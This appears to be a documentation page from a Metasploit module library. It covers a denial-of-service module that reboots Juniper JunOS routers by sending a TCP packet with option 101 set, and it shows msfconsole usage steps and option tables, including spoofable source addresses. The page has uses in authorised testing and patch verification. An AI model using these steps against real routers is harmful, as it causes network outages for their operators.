Juniper JunOS Malformed TCP Option - Metasploit


This page contains detailed information about how to use the auxiliary/dos/tcp/junos_tcp_opt metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Juniper JunOS Malformed TCP Option
Module: auxiliary/dos/tcp/junos_tcp_opt
Source code: modules/auxiliary/dos/tcp/junos_tcp_opt.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module exploits a denial of service vulnerability in Juniper Network's JunOS router operating system. By sending a TCP packet with TCP option 101 set, an attacker can cause an affected router to reboot.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/dos/tcp/junos_tcp_opt
msf auxiliary(junos_tcp_opt) > show targets
    ... a list of targets ...
msf auxiliary(junos_tcp_opt) > set TARGET target-id
msf auxiliary(junos_tcp_opt) > show options
    ... show and set options ...
msf auxiliary(junos_tcp_opt) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the dos/tcp/junos_tcp_opt auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/tcp/junos_tcp_opt

msf6 auxiliary(dos/tcp/junos_tcp_opt) > show info

       Name: Juniper JunOS Malformed TCP Option
     Module: auxiliary/dos/tcp/junos_tcp_opt
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  todb <[email protected]>

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  INTERFACE                   no        The name of the interface
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT                       no        The destination port (defaults to random)
  SHOST                       no        Source address (defaults to random)
  SPORT                       no        Source port (defaults to random)
  TIMEOUT    500              yes       The number of seconds to wait for new data

Description:
  This module exploits a denial of service vulnerability in Juniper 
  Network's JunOS router operating system. By sending a TCP packet 
  with TCP option 101 set, an attacker can cause an affected router to 
  reboot.

References:
  http://www.securityfocus.com/bid/37670
  OSVDB (61538)
  http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/

Module Options

This is a complete list of options available in the dos/tcp/junos_tcp_opt auxiliary module:

msf6 auxiliary(dos/tcp/junos_tcp_opt) > show options

Module options (auxiliary/dos/tcp/junos_tcp_opt):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                       no        The destination port (defaults to random)
   SHOST                       no        Source address (defaults to random)
   SPORT                       no        Source port (defaults to random)
   TIMEOUT    500              yes       The number of seconds to wait for new data

Advanced Options

Here is a complete list of advanced options supported by the dos/tcp/junos_tcp_opt auxiliary module:

msf6 auxiliary(dos/tcp/junos_tcp_opt) > show advanced

Module advanced options (auxiliary/dos/tcp/junos_tcp_opt):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   GATEWAY_PROBE_HOST  8.8.8.8          yes       Send a TTL=1 random UDP datagram to this host to discover the default gateway's MAC
   GATEWAY_PROBE_PORT                   no        The port on GATEWAY_PROBE_HOST to send a random UDP probe to (random if 0 or unset)
   SECRET              1297303073       yes       A 32-bit cookie for probe requests.
   VERBOSE             false            no        Enable detailed status messages
   WORKSPACE                            no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the dos/tcp/junos_tcp_opt module can do:

msf6 auxiliary(dos/tcp/junos_tcp_opt) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the dos/tcp/junos_tcp_opt auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/tcp/junos_tcp_opt) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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References

See Also

Check also the following modules related to this module:

Authors

todb

Version

This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

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